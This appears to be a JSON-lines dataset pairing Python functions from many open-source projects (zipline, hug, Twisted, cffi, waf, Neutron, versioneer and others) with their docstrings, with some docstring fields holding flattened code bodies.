[constants[USEquityPricing.close]] * num_assets\n expected_values = [list(zip(open_values, close_values))] * num_dates\n expected_results = DataFrame(\n expected_values, index=dates, columns=assets, dtype=float64,\n )\n\n multiple_outputs = MultipleOutputs()\n pipeline = Pipeline(columns={'instance': multiple_outputs})\n results = engine.run_pipeline(pipeline, dates[0], dates[-1])\n instance_results = results['instance'].unstack()\n assert_frame_equal(instance_results, expected_results)\n", "nl": "Test adding a CustomFactor instance, which has multiple outputs, as apipeline column directly. Its computed values should be tuplescontaining the computed values of each of its outputs."} {"code": "def test_user_directives():\n assert hug.directives.cors(\"google.com\") == \"google.com\"\n\n @hug.get(api=hug_api)", "nl": "Test the user directives functionality, to ensure it will provide the set user object@hug.get() # noqadef try_user(user: hug.directives.user):return userassert hug.test.get(api, \"try_user\").data is None@hug.get(requires=hug.authentication.basic(hug.authentication.verify(\"Tim\", \"Custom password\"))) # noqadef try_user(user: hug.directives.user):return usertoken = b\"Basic \" + b64encode(\"{0}:{1}\".format(\"Tim\", \"Custom password\").encode(\"utf8\"))assert hug.test.get(api, \"try_user\", headers={\"Authorization\": token}).data == \"Tim\"def test_directives(hug_api):Test to ensure cors directive works as expected"} {"code": "def find_import(module, function_name):\n nimps = idaapi.get_import_module_qty()\n for i in range(0, nimps):\n if idaapi.get_import_module_name(i) != module:\n continue\n ea_ref = [None]", "nl": "Find import address of a function by module name and function name:ivar str module: module name:ivar str function_name: name of the function from the module:returns: address of function"} {"code": "def builddict(self):\n d = Tag('<root>', '')\n while True:\n tag, attrs, data = self.getnexttag()\n if data != '':\n sys.stderr.write(\"Warning: inline data between tags?!\\n\")\n if not tag:\n break\n if tag[-1] == '/':\n d.addChild(Tag(tag[:-1], attrs, parser=self))\n continue\n elif tag[0] == '?':\n t = d.addChild(Tag(tag, attrs, parser=self))\n if tag == '?xml' and 'encoding' in t.attrs:\n self.encoding = t.attrs['encoding']\n else:\n try:\n self.processTag(d.addChild(Tag(tag, attrs, parser=self)))\n except:\n sys.stderr.write(\"Error processing tag %s\\n\" % tag)\n d.encoding = self.encoding\n return d\n", "nl": "Builds a nested-dictionary-like structure from the xml. This methodpicks up tags on the main level and calls processTag() for nested tags."} {"code": "def calc_f1(tp, fp, fn, print_result=True):\n precision = 0 if tp + fp == 0 else tp / (tp + fp)\n recall = 0 if tp + fn == 0 else tp / (tp + fn)\n f1 = 0 if precision + recall == 0 else 2 * precision * recall / (precision + recall)\n if print_result:\n print(\" precision = %f, recall = %f, micro_f1 = %f\\n\" % (precision, recall, f1))\n return precision, recall, f1\n\n", "nl": " calculating f1Args:tp: true positivefp: false positivefn: false negativeprint_result: whether to print resultReturns:precision, recall, f1"} {"code": "def getctype(self, cdecl, replace_with=''):\n if isinstance(cdecl, basestring):\n cdecl = self._typeof(cdecl)\n replace_with = replace_with.strip()\n if (replace_with.startswith('*')\n and '&[' in self._backend.getcname(cdecl, '&')):\n replace_with = '(%s)' % replace_with\n elif replace_with and not replace_with[0] in '[(':\n replace_with = ' ' + replace_with\n return self._backend.getcname(cdecl, replace_with)\n", "nl": "Return a string giving the C type 'cdecl', which may be itselfa string or a <ctype> object. If 'replace_with' is given, it givesextra text to append (or insert for more complicated C types), likea variable name, or '*' to get actually the C type 'pointer-to-cdecl'."} {"code": "def mapping_type(self):\n\n return Version(self.conn.info()[\"version\"][\"number\"])\n\n", "nl": "Get the name of the index's mapping type (aka. document type).# In Elasticsearch <= 6.x our indexes have a single mapping type called# \"annotation\". In ES >= 7.x the concept of mapping types has been# removed but indexing APIs use the dummy value `_doc`.# See: https://www.elastic.co/guide/en/elasticsearch/reference/6.x/removal-of-types.htmlif self.server_version < Version(\"7.0.0\"):return \"annotation\"return \"_doc\"@cached_propertydef server_version(self) -> Version:Get the version of the connected Elasticsearch cluster."} {"code": "def test_isInIOThread(self):\n threadable.registerAsIOThread()\n foreignResult = []\n t = threading.Thread(\n target=lambda: foreignResult.append(threadable.isInIOThread()))\n t.start()\n t.join()\n self.assertFalse(\n foreignResult[0], \"Non-IO thread reported as IO thread\")\n self.assertTrue(\n threadable.isInIOThread(), \"IO thread reported as not IO thread\")\n\n", "nl": "L{threadable.isInIOThread} returns C{True} if and only if it is calledin the same thread as L{threadable.registerAsIOThread}."} {"code": "def _input_fn(params):\n current_size = len(features)\n if current_size < self.batch_size:\n features += [features[-1]] * (self.batch_size - current_size)\n return self.fast_predictor.predict(features)[:current_size]\n", "nl": "Convert input into features.del paramsseq_length = self.max_seq_lengthqry_length = self.max_qry_lengthent_length = self.max_ent_lengthd = tf.data.Dataset.from_generator(generator,output_types={\"unique_ids\": tf.int32,\"doc_input_ids\": tf.int32,\"doc_input_mask\": tf.int32,\"doc_segment_ids\": tf.int32,\"qry_input_ids\": tf.int32,\"qry_input_mask\": tf.int32,\"qry_segment_ids\": tf.int32,\"ent_input_ids\": tf.int32,\"ent_input_mask\": tf.int32,},output_shapes={\"unique_ids\": tf.TensorShape([]),\"doc_input_ids\": tf.TensorShape([seq_length]),\"doc_input_mask\": tf.TensorShape([seq_length]),\"doc_segment_ids\": tf.TensorShape([seq_length]),\"qry_input_ids\": tf.TensorShape([qry_length]),\"qry_input_mask\": tf.TensorShape([qry_length]),\"qry_segment_ids\": tf.TensorShape([qry_length]),\"ent_input_ids\": tf.TensorShape([ent_length]),\"ent_input_mask\": tf.TensorShape([ent_length]),})d = d.batch(batch_size=self.batch_size)return dreturn _input_fndef _run_on_features(self, features):Run predictions for given features."} {"code": "def test_value(self):\n readWrite = (self.FXF.READ | self.FXF.WRITE)\n writeAppend = (self.FXF.WRITE | self.FXF.APPEND)\n flag = readWrite ^ writeAppend\n self.assertEqual(\n self.FXF.READ.value | self.FXF.APPEND.value, flag.value\n )\n\n", "nl": "The value of the L{FlagConstant} which results from C{^} has all of thebits set which were set in exactly one of the values of the twooriginal constants."} {"code": "def finish_fsdev(force_cleanup=False):\n\n if FSDEV_PREP_CNT == 1 or force_cleanup:\n restore_disks(job=FSDEV_JOB,\n restore=FSDEV_RESTORE,\n disk_list=FSDEV_DISKLIST)\n\n\n\nclass fsdev_disks:\n\n \"\"\"\n", "nl": "This method can be called from the test file to optionally restoreall the drives used by the test to a standard ext2 format. Note thatif use_fsdev_lib() was invoked with 'reinit_disks' not set to True,this method does nothing. Note also that only fsdev \"server-side\"dynamic control files should ever set force_cleanup to True."} {"code": "def unique_keys(self):\n keys = []\n\n if self.type == 'PixelChannel':\n keys = [(\"{0}\".format(self.pixel), self)]\n\n else:\n for index, sequence in enumerate(self.triggers):\n key = \"\"\n uniq_expr = self\n\n if len(self.triggers) > 1:\n uniq_expr = copy.copy(self)\n\n uniq_expr.triggers = [uniq_expr.triggers[index]]\n\n for index, combo in enumerate(sequence):\n if index > 0:\n key += \", \"\n\n for index, identifier in enumerate(combo):\n if index > 0:\n key += \" + \"\n key += \"{0} {1}\".format(self.connect_id, identifier)\n\n keys.append((key, uniq_expr))\n\n keys = list(set(keys))\n\n return keys", "nl": "Generates a list of unique identifiers for the expression that is mergeablewith other functional equivalent expressions.TODO: This function should re-order combinations to generate the key.The final generated combo will be in the original order."} {"code": "def p_transition(p):\n p[3] = None if p[3] == 'NULL' else p[3]\n if p[4] == 'error':\n p[0] = MarionetteTransition(p[1], p[2], p[3], 0, True)\n else:\n p[0] = MarionetteTransition(p[1], p[2], p[3], p[4], False)\n\n", "nl": "transition : START_KWD KEY NULL_KWD FLOATtransition : KEY KEY NULL_KWD FLOATtransition : KEY END_KWD NULL_KWD FLOATtransition : START_KWD KEY KEY FLOATtransition : KEY KEY KEY FLOATtransition : KEY END_KWD KEY FLOATtransition : START_KWD KEY NULL_KWD INTEGERtransition : KEY KEY NULL_KWD INTEGERtransition : KEY END_KWD NULL_KWD INTEGERtransition : START_KWD KEY KEY INTEGERtransition : KEY KEY KEY INTEGERtransition : KEY END_KWD KEY INTEGERtransition : START_KWD KEY NULL_KWD KEYtransition : KEY KEY NULL_KWD KEYtransition : KEY END_KWD NULL_KWD KEYtransition : START_KWD KEY KEY KEYtransition : KEY KEY KEY KEYtransition : KEY END_KWD KEY KEY"} {"code": "def ng_init(self, var_manager, num_samples):\n if self.is_sequential:\n vars = var_manager.initialize(num_seeds=1)\n num_samples = 1\n else:\n vars = var_manager.initialize(num_samples=num_samples)\n\n for (var_type, var_name), ng_opt in self.ng_optimizers.items():\n ng_data = [ng_opt.ask() for _ in range(num_samples)]\n\n _ng_data = np.concatenate([x.args for x in ng_data])\n\n for i, d in enumerate(_ng_data):\n vars[var_type][var_name].data[i].data = \\\n torch.Tensor(d).data.type_as(\n vars[var_type][var_name].data[i].data)\n\n self._sampled[(var_type, var_name)] = ng_data\n\n return vars\n\n\n @torch.no_grad()", "nl": "Argsvar_manager (VariableManger): instance of the variable managernum_samples (int): number of samples for mini-batch optimization"} {"code": "def __init__(self, db_filepath=\"./db.sqlite\"):\n self.DB_FILEPATH = db_filepath\n", "nl": ":param db_filepath:"} {"code": "def gxx_modifier_win32(conf):\n\tgxx_modifier_win32(conf)\n\tv = conf.env\n\tv.cxxshlib_PATTERN = 'cyg%s.dll'\n\tv.append_value('LINKFLAGS_cxxshlib', ['-Wl,--enable-auto-image-base'])\n\tv.CXXFLAGS_cxxshlib = []\n\n@conf", "nl": "Configuration flags for executing gcc on Windowsv = conf.envv.cxxprogram_PATTERN = '%s.exe'v.cxxshlib_PATTERN = '%s.dll'v.implib_PATTERN = '%s.dll.a'v.IMPLIB_ST = '-Wl,--out-implib,%s'v.CXXFLAGS_cxxshlib = []# Auto-import is enabled by default even without this option,# but enabling it explicitly has the nice effect of suppressing the rather boring, debug-level messages# that the linker emits otherwise.v.append_value('LINKFLAGS', ['-Wl,--enable-auto-import'])@confdef gxx_modifier_cygwin(conf):Configuration flags for executing g++ on Cygwin"} {"code": "def save(self):\n\n Examples:\n Evaluate a language model from the transformers repository:\n\n .. code-block:: python\n\n import torch\n from tqdm import tqdm\n from sotabencheval.language_modelling import WikiText103Evaluator\n\n model = torch.hub.load('huggingface/transformers', 'modelWithLMHead', 'transfo-xl-wt103').to(\"cuda\")\n tokenizer = torch.hub.load('huggingface/transformers', 'tokenizer', 'transfo-xl-wt103')\n\n evaluator = WikiText103Evaluator(\n model_name=\"Transformer-XL Large\",\n paper_arxiv_id=\"1901.02860\",\n paper_pwc_id=\"transformer-xl-attentive-language-models\",\n local_root='/content/wikitext-103'\n )\n\n with evaluator.test_set_path.open() as f:\n test_data = torch.tensor(tokenizer.encode(f.read()))\n\n seq_len = 128\n with torch.no_grad():\n evaluator.reset_timer()\n model.eval()\n X, Y, mems = test_data[None, :-1], test_data[None, 1:], None\n for s in tqdm(range(0, X.shape[-1], seq_len)):\n x,y = X[..., s:s+seq_len].to(\"cuda\"), Y[..., s:s+seq_len].to(\"cuda\")\n log_probs, mems, *_ = model(input_ids=x, mems=mems)\n evaluator.add(log_probs, y)\n if evaluator.cache_exists:\n break\n evaluator.save()\n evaluator.print_results()\n \"\"\"\n\n Examples:\n Evaluate a language model from the transformers repository:\n\n .. code-block:: python\n\n import torch\n from tqdm import tqdm\n from sotabencheval.language_modelling import WikiText2Evaluator\n\n model = torch.hub.load('huggingface/transformers', 'modelWithLMHead', 'transfo-xl-wt103').to(\"cuda\")\n tokenizer = torch.hub.load('huggingface/transformers', 'tokenizer', 'transfo-xl-wt103')\n\n evaluator = WikiText2Evaluator(\n model_name=\"Transformer-XL Large\",\n paper_arxiv_id=\"1901.02860\",\n paper_pwc_id=\"transformer-xl-attentive-language-models\",\n local_root='/content/wikitext-2'\n )\n\n with evaluator.test_set_path.open() as f:\n test_data = torch.tensor(tokenizer.encode(f.read()))\n\n seq_len = 128\n with torch.no_grad():\n evaluator.reset_timer()\n model.eval()\n X, Y, mems = test_data[None, :-1], test_data[None, 1:], None\n for s in tqdm(range(0, X.shape[-1], seq_len)):\n x,y = X[..., s:s+seq_len].to(\"cuda\"), Y[..., s:s+seq_len].to(\"cuda\")\n log_probs, mems, *_ = model(input_ids=x, mems=mems)\n evaluator.add(log_probs, y)\n if evaluator.cache_exists:\n break\n evaluator.save()\n evaluator.print_results()\n \"\"\"", "nl": "Save results to the server databese/return super().save(dataset=self.dataset.pwc_name)class WikiText103Evaluator(WikiTextEvaluator):`WikiText103 <https://sotabench.com/benchmarks/language-modelling-on-wikitext-103>`_ benchmark."} {"code": "default=None, prefix='', append=None, map=None):\n return self._GetAndMunge(\n self.msvs_configuration_attributes[config],", "nl": "_GetAndMunge for msvs_settings.return self._GetAndMunge(self.msvs_settings[config], path, default, prefix, append, map)def _ConfigAttrib(self, path, config,default=None, prefix='', append=None, map=None):_GetAndMunge for msvs_configuration_attributes."} {"code": "def get_mask_paths(metadata):\n mask_paths = {}\n ignore_paths = {}\n with open(metadata.localization) as f:\n for line in f.readlines():\n image_id, mask_path, ignore_path = line.strip('\\n').split(',')\n if image_id in mask_paths:\n mask_paths[image_id].append(mask_path)\n assert (len(ignore_path) == 0)\n else:\n mask_paths[image_id] = [mask_path]\n ignore_paths[image_id] = ignore_path\n return mask_paths, ignore_paths\n\n\nclass ImageLabelDataset(Dataset):", "nl": "localization.txt (for masks) has the structure<path>,<link_to_mask_file>,<link_to_ignore_mask_file>path/to/image1.jpg,path/to/mask1a.png,path/to/ignore1.pngpath/to/image1.jpg,path/to/mask1b.png,path/to/image2.jpg,path/to/mask2a.png,path/to/ignore2.pngpath/to/image3.jpg,path/to/mask3a.png,path/to/ignore3.png...One image may contain multiple masks (multiple mask paths for same image).One image contains only one ignore mask."} {"code": "def _create_auditor_settings(self):\n app.logger.debug(\"Creating/Assigning Auditor Settings in account {} and tech {}\".format(self.accounts, self.index))\n\n query = ItemAudit.query\n query = query.join((Item, Item.id == ItemAudit.item_id))\n query = query.join((Technology, Technology.id == Item.tech_id))\n query = query.filter(Technology.name == self.index)\n issues = query.filter(ItemAudit.auditor_setting_id == None).all()\n\n for issue in issues:\n self._set_auditor_setting_for_issue(issue)\n\n db.session.commit()\n app.logger.debug(\"Done Creating/Assigning Auditor Settings in account {} and tech {}\".format(self.accounts, self.index))\n", "nl": "Checks to see if an AuditorSettings entry exists for each issue.If it does not, one will be created with disabled set to false."} {"code": "def getVerTs(self, tableName, row, column, timestamp, numVersions):\n pass\n", "nl": "Get the specified number of versions for the specified table,row, and column. Only versions less than or equal to the specifiedtimestamp will be returned.@return list of cells for specified row/columnParameters:- tableName: name of table- row: row key- column: column name- timestamp: timestamp- numVersions: number of versions to retrieve"} {"code": "def join(a, *p):\n path = a\n for b in p:\n b_wins = 0\n if path == '':\n b_wins = 1\n elif isabs(b):\n if path[1:2] != ':' or b[1:2] == ':':\n b_wins = 1\n elif len(path) > 3 or len(path) == 3 and path[-1] not in '/\\\\':\n b_wins = 1\n if b_wins:\n path = b\n elif path[-1] in '/\\\\':\n if b and b[0] in '/\\\\':\n path += b[1:]\n else:\n path += b\n elif path[-1] == ':':\n path += b\n elif b:\n if b[0] in '/\\\\':\n path += b\n else:\n path += '\\\\' + b\n else:\n path += '\\\\'\n\n return path\n\n", "nl": "rJoin two or more pathname components, inserting \"\\\" as needed.If any component is an absolute path, all previous path componentswill be discarded."} {"code": "def get_provider_driver_class(driver, namespace=SERVICE_PROVIDERS):\n try:\n driver_manager = stevedore.driver.DriverManager(\n namespace, driver).driver\n except ImportError:\n return driver\n except RuntimeError:\n return driver\n new_driver = \"%s.%s\" % (driver_manager.__module__,\n driver_manager.__name__)\n LOG.warning(\n \"The configured driver %(driver)s has been moved, automatically \"\n \"using %(new_driver)s instead. Please update your config files, \"\n \"as this automatic fixup will be removed in a future release.\",\n {'driver': driver, 'new_driver': new_driver})\n return new_driver\n\n", "nl": "Return path to provider driver classIn order to keep backward compatibility with configs < Kilo, we need totranslate driver class paths after advanced services split. This is done bydefining old class path as entry point in neutron package."} {"code": "def getLoggerClass():\n\n return _loggerClass\n\nclass Manager(object):\n \"\"\"", "nl": "Return the class to be used when instantiating a logger."} {"code": "def test_error_message_skill_already_existing(self):\n s = \"Cannot find skill: '{}'.\".format(self.skill_id)\n assert self.result.exception.message == s\n\n @classmethod", "nl": "Test that the log error message is fixed.The expected message is: 'Cannot find skill: '{skill_name}''"} {"code": "def process_node(self, fgraph, node):\n clean_inputs, clean_outputs = scan_utils.reconstruct_graph(\n node.op.inputs, node.op.outputs)\n\n local_fgraph_topo = theano.gof.graph.io_toposort(clean_inputs,\n clean_outputs)\n local_fgraph_outs_set = set(clean_outputs)\n local_fgraph_outs_map = dict([(v, k) for k, v in\n enumerate(clean_outputs)])\n\n to_remove_set = set()\n to_replace_set = set()\n to_replace_map = OrderedDict()\n", "nl": "IMPORTANT NOTE: This function uses set and dictionary data structure.By default they are not ordered for efficiency reasons. Take careand make sure of changing them to Ordered versions if you need toiterate over those variables."} {"code": "def detach_class(self, cls: type) -> None:\n self._restore_constructor(cls)\n", "nl": "Stop tracking class 'cls'. Any new objects of that type are nottracked anymore. Existing objects are still tracked."} {"code": "def loadV2(cls, simplex, progs, data, create):\n name = data[\"name\"]\n prog = progs[data[\"prog\"]]\n group = simplex.groups[data.get(\"group\", 0)]\n color = QColor(*data.get(\"color\", (128, 128, 128)))\n return cls(name, simplex, prog, group, create=create, color=color)\n", "nl": "Load the data from a version2 formatted json dictionaryParameters----------simplex : SimplexThe Simplex system that's being builtprogs : [ProgressionThe progressions that have already been builtdata : dictThe chunk of the json dict used to build this objectcreate : boolWhether to create the DCC Shape, or look for it already in-sceneReturns-------: SliderThe specified Slider"} {"code": "def setHelpText(self):\n if self.helpVisible:\n self.hideHelpText()\n self.helpVisible = False\n else:\n self.showHelpText()\n self.helpVisible = True\n", "nl": "Set the help text to the widget.self.setToolTip(self.helpText)self.helpTextField.setText(self.helpText)self.helpTextField.setReadOnly(True)self.helpTextField.setStyleSheet(Style.HELP_TEXT_FIELD)def toggleHelp(self):Show or hide the help text area."} {"code": "def end_episodes(self):\n raise NotImplementedError()\n\n @property", "nl": "Signals the end of episodes to reset any episode state.raise NotImplementedError()@abstractpropertydef has_attention(self):Returns True if the property action_attention is implemented."} {"code": "def str(val):\n name.\n\n The returned locale code is formatted for use with\n setlocale().\n\n If normalization fails, the original name is returned\n unchanged.\n", "nl": "Convert float to integer, taking the locale into account.return format(\"%.12g\", val)def atof(string, func=float):\"Parses a string as a float according to the locale settings.\"#First, get rid of the groupingts = localeconv()['thousands_sep']if ts:string = string.replace(ts, '')#next, replace the decimal point with a dotdd = localeconv()['decimal_point']if dd:string = string.replace(dd, '.')#finally, parse the stringreturn func(string)def atoi(str):\"Converts a string to an integer according to the locale settings.\"return atof(str, int)def _test():setlocale(LC_ALL, \"\")#do groupings1 = format(\"%d\", 123456789,1)print s1, \"is\", atoi(s1)#standard formattings1 = str(3.14)print s1, \"is\", atof(s1)### Locale name aliasing engine# Author: Marc-Andre Lemburg, mal@lemburg.com# Various tweaks by Fredrik Lundh <fredrik@pythonware.com># store away the low-level version of setlocale (it's# overridden below)_setlocale = setlocaledef normalize(localename): Returns a normalized locale code for the given locale"} {"code": "def cells(self) -> GridCell:\n return GridCell(self.resolution, self.bounds)\n", "nl": "Returns the geometry of all cells as a `Box` object.The box will have spatial dimensions matching the resolution of the Domain, i.e. `domain.cells.shape == domain.resolution`."} {"code": "def test_stratis_cli_partial_failure_error(self):\n self._string_not_empty(\n StratisCliPartialFailureError(\"action\", \"unique resource\")\n )\n self._string_not_empty(\n StratisCliPartialFailureError(\n \"action\", \"unique resource\", \"something failed\"\n )\n )", "nl": "Test 'StratisCliPartialFailureError'"} {"code": "def fit(self, data):\n pass\n", "nl": "Dummy function for training.Parameters--------data: pandas.DataFrameTraining data. It contains the transactions of the sessions. It has one column for session IDs, one for item IDs and one for the timestamp of the events (unix timestamps).It must have a header. Column names are arbitrary, but must correspond to the ones you set during the initialization of the network (session_key, item_key, time_key properties)."} {"code": "def __init__(self, metadata):\n self.metadata = metadata\n self.name = metadata.name\n self.key = self.name.lower()\n self.version = metadata.version\n self.locator = None\n self.digest = None\n self.extras = None\n self.context = None\n self.download_urls = set()\n self.digests = {}\n\n @property", "nl": "Initialise an instance.:param metadata: The instance of :class:`Metadata` describing thisdistribution."} {"code": "def _MakeDefaultCellEditor(self, rowIndex, subItemIndex, value):\n\n creatorFunction = self.columns[subItemIndex].cellEditorCreator\n if creatorFunction is None:\n value = value or self._CalcNonNullValue(subItemIndex)\n creatorFunction = CellEditor.CellEditorRegistry().GetCreatorFunction(value)\n if creatorFunction is None:\n creatorFunction = CellEditor.CellEditorRegistry().GetCreatorFunction(\"\")\n return creatorFunction(self, rowIndex, subItemIndex)\n\n", "nl": "Return an editor that can edit the value of the given cell."} {"code": "def test_ambiguous_index(self):\n p = Post(type='tweet', id='1234', username='abc')\n self.engine.save(p)\n\n results = self.engine(Post).filter(username='abc')\\\n .index('name-index').all()\n self.assertEquals(results, [p])\n", "nl": " Error raised if index name is ambiguous p = Post(type='tweet', id='1234', username='abc')self.engine.save(p)with self.assertRaises(ValueError):self.engine(Post).filter(username='abc').all()def test_select_index(self): Index name can be specified "} {"code": "def make_wav():\n import wave\n import struct\n import io", "nl": "Fixture for convenience in creating real WAV files for tests that require them.This is necessary for functionality that requires WAV files such as FFMPEGcalls or other signal processing tasks where mocking would be far more of apain than just making a file."} {"code": "def tv_resnet152(pretrained=False, **kwargs):\n model_args = dict(block=Bottleneck, layers=[3, 8, 36, 3], **kwargs)\n return _create_resnet('tv_resnet152', pretrained, **model_args)\n\n\n@register_model", "nl": "Constructs a ResNet-152 model w/ Torchvision pretrained weights."} {"code": "def fill(text, width=70, **kwargs):\n w = TextWrapper(width=width, **kwargs)\n return w.fill(text)\n\n\n\n_whitespace_only_re = re.compile('^[ \\t]+$', re.MULTILINE)\n_leading_whitespace_re = re.compile('(^[ \\t]*)(?:[^ \\t\\n])', re.MULTILINE)\n", "nl": "Fill a single paragraph of text, returning a new string.Reformat the single paragraph in 'text' to fit in lines of no morethan 'width' columns, and return a new string containing the entirewrapped paragraph. As with wrap(), tabs are expanded and otherwhitespace characters converted to space. See TextWrapper class foravailable keyword args to customize wrapping behaviour."} {"code": "def edit_class(project, class_name):\n data = request.form\n project = urllib.parse.unquote(project)\n class_name = urllib.parse.unquote(class_name)\n path = project_utils.lookup_project_path(project)\n new_class_name = data['className']\n\n config = project_utils.load_project_config(path)\n tags = config['classes'][class_name]\n\n del config['classes'][class_name]\n config['classes'][new_class_name] = tags\n project_utils.write_project_config(path, config)\n\n data_dirs = []\n for split in SPLITS:\n data_dirs.extend([\n directories.get_videos_dir(path, split),\n directories.get_frames_dir(path, split),\n directories.get_tags_dir(path, split),\n ])\n\n features_dir = directories.get_features_dir(path, split)\n if os.path.exists(features_dir):\n model_dirs = [os.path.join(features_dir, model_dir) for model_dir in os.listdir(features_dir)]\n data_dirs.extend([os.path.join(model_dir, tuned_layers)\n for model_dir in model_dirs\n for tuned_layers in os.listdir(model_dir)])\n\n for base_dir in data_dirs:\n class_dir = os.path.join(base_dir, class_name)\n\n if os.path.exists(class_dir):\n new_class_dir = os.path.join(base_dir, new_class_name)\n os.rename(class_dir, new_class_dir)\n\n return redirect(url_for('project_details', project=project))\n\n\n@app.route('/remove-class/<string:project>/<string:class_name>')", "nl": "Edit the name for an existing class in the given project."} {"code": "def len_scaffold(self):\n return len(self.scaffold_vocabulary)\n", "nl": "Returns the length of the scaffold vocabulary."} {"code": "def findattr(self, name, resolved=True):\n name = '@%s' % name\n parent = self.top().resolved\n if parent is None:\n result, ancestry = self.query(name, node)\n else:\n result, ancestry = self.getchild(name, parent)\n if result is None:\n return result\n if resolved:\n result = result.resolve()\n return result\n", "nl": "Find an attribute type definition.@param name: An attribute name.@type name: basestring@param resolved: A flag indicating that the fully resolved type shouldbe returned.@type resolved: boolean@return: The found schema I{type}@rtype: L{xsd.sxbase.SchemaObject}"} {"code": "def downsample_axis(myarr, factor, axis, estimator=nanmean, truncate=False):\n xs = myarr.shape[axis]\n\n if xs % int(factor) != 0:\n if truncate:\n view = [slice(None) for ii in range(myarr.ndim)]\n view[axis] = slice(None,xs-(xs % int(factor)))\n crarr = myarr[view]\n else:\n newshape = list(myarr.shape)\n newshape[axis] = (factor - xs % int(factor))\n extension = np.empty(newshape) * np.nan\n crarr = np.concatenate((myarr,extension), axis=axis)\n else:\n crarr = myarr\n", "nl": "Downsample an ND array by averaging over *factor* pixels along an axis.Crops right side if the shape is not a multiple of factor.This code is pure np and should be fast.keywords:estimator - default to mean. You can downsample by summing orsomething else if you want a different estimator(e.g., downsampling error: you want to sum & divide by sqrt(n))"} {"code": "def check_nsp(dist, attr, value):\n try:\n list(itertools.starmap(_check_extra, value.items()))\n except (TypeError, ValueError, AttributeError) as e:\n raise DistutilsSetupError(\n \"'extras_require' must be a dictionary whose values are \"\n \"strings or lists of strings containing valid project/version \"\n \"requirement specifiers.\"\n ) from e\n\n", "nl": "Verify that namespace packages are validns_packages = valueassert_string_list(dist, attr, ns_packages)for nsp in ns_packages:if not dist.has_contents_for(nsp):raise DistutilsSetupError(\"Distribution contains no modules or packages for \" +\"namespace package %r\" % nsp)parent, sep, child = nsp.rpartition('.')if parent and parent not in ns_packages:distutils.log.warn(\"WARNING: %r is declared as a package namespace, but %r\"\" is not: please correct this in setup.py\", nsp, parent)def check_extras(dist, attr, value):Verify that extras_require mapping is valid"} {"code": "def hasText(self):\n return ( self.text is not None and len(self.text) )\n", "nl": "Get whether the element has I{text} and that it is not an empty(zero length) string.@return: True when has I{text}.@rtype: boolean"} {"code": "def ParameterFromInt(self, i):\n\n self.Parameter[0] = (i & 0x000000ff);\n self.Parameter[1] = (i & 0x0000ff00) >> 8;\n self.Parameter[2] = (i & 0x00ff0000) >> 16;\n self.Parameter[3] = (i & 0xff000000) >> 24;\n\n\n\nclass Response_Packet(Packet):\n '''\n\n errors = {\n 'NO_ERROR' : 0x0000,\n 'NACK_TIMEOUT' : 0x1001,\n 'NACK_INVALID_BAUDRATE' : 0x1002,\n 'NACK_INVALID_POS' : 0x1003,\n 'NACK_IS_NOT_USED' : 0x1004,\n 'NACK_IS_ALREADY_USED' : 0x1005,\n 'NACK_COMM_ERR' : 0x1006,\n 'NACK_VERIFY_FAILED' : 0x1007,\n 'NACK_IDENTIFY_FAILED' : 0x1008,\n 'NACK_DB_IS_FULL' : 0x1009,\n 'NACK_DB_IS_EMPTY' : 0x100A,\n 'NACK_TURN_ERR' : 0x100B,\n 'NACK_BAD_FINGER' : 0x100C,\n 'NACK_ENROLL_FAILED' : 0x100D,\n 'NACK_IS_NOT_SUPPORTED' : 0x100E,\n 'NACK_DEV_ERR' : 0x100F,\n 'NACK_CAPTURE_CANCELED' : 0x1010,\n 'NACK_INVALID_PARAM' : 0x1011,\n 'NACK_FINGER_IS_NOT_PRESSED' : 0x1012,\n 'INVALID' : 0XFFFF\n }\n", "nl": "Converts the int to bytes and puts them into the paramter array"} {"code": "def _generate_model_name(wrapper: ModelWrapper):\n\n return _generate_name('{}_model_'.format(wrapper.type))\n\n\nclass PipelineStep(EboniteParams):\n \"\"\"A class to represent one step of a Pipeline - a Model with one of its' methods name\n", "nl": "Generates name for Model instance:param wrapper: model wrapper:return: str"} {"code": "def git_pieces_from_vcs(tag_prefix, root, verbose, run_command=run_command):\n GITS = [\"git\"]\n if sys.platform == \"win32\":\n GITS = [\"git.cmd\", \"git.exe\"]\n\n out, rc = run_command(GITS, [\"rev-parse\", \"--git-dir\"], cwd=root,\n hide_stderr=True)\n if rc != 0:\n if verbose:\n print(\"Directory %s not under git control\" % root)\n raise NotThisMethod(\"'git rev-parse --git-dir' returned error\")\n\n describe_out, rc = run_command(GITS, [\"describe\", \"--tags\", \"--dirty\",\n \"--always\", \"--long\",\n \"--match\", \"%s*\" % tag_prefix],\n cwd=root)\n if describe_out is None:\n raise NotThisMethod(\"'git describe' failed\")\n describe_out = describe_out.strip()\n full_out, rc = run_command(GITS, [\"rev-parse\", \"HEAD\"], cwd=root)\n if full_out is None:\n raise NotThisMethod(\"'git rev-parse' failed\")\n full_out = full_out.strip()\n\n pieces = {}\n pieces[\"long\"] = full_out\n pieces[\"short\"] = full_out[:7]\n pieces[\"error\"] = None\n\n git_describe = describe_out\n\n dirty = git_describe.endswith(\"-dirty\")\n pieces[\"dirty\"] = dirty\n if dirty:\n git_describe = git_describe[:git_describe.rindex(\"-dirty\")]\n\n\n if \"-\" in git_describe:\n mo = re.search(r'^(.+)-(\\d+)-g([0-9a-f]+)$', git_describe)\n if not mo:\n pieces[\"error\"] = (\"unable to parse git-describe output: '%s'\"\n % describe_out)\n return pieces\n\n full_tag = mo.group(1)\n if not full_tag.startswith(tag_prefix):\n if verbose:\n fmt = \"tag '%s' doesn't start with prefix '%s'\"\n print(fmt % (full_tag, tag_prefix))\n pieces[\"error\"] = (\"tag '%s' doesn't start with prefix '%s'\"\n % (full_tag, tag_prefix))\n return pieces\n pieces[\"closest-tag\"] = full_tag[len(tag_prefix):]\n\n pieces[\"distance\"] = int(mo.group(2))\n\n pieces[\"short\"] = mo.group(3)\n\n else:\n pieces[\"closest-tag\"] = None\n count_out, rc = run_command(GITS, [\"rev-list\", \"HEAD\", \"--count\"],\n cwd=root)\n pieces[\"distance\"] = int(count_out)\n\n date = run_command(GITS, [\"show\", \"-s\", \"--format=%ci\", \"HEAD\"],\n cwd=root)[0].strip()\n pieces[\"date\"] = date.strip().replace(\" \", \"T\", 1).replace(\" \", \"\", 1)\n\n return pieces\n\n", "nl": "Get version from 'git describe' in the root of the source tree.This only gets called if the git-archive 'subst' keywords were *not*expanded, and _version.py hasn't already been rewritten with a shortversion string, meaning we're inside a checked out source tree."} {"code": "def __init__(self, method: Dict) -> None:\n self._author: Optional[str] = method.get(\"author\", None)\n self._details: Optional[str] = method.get(\"details\", 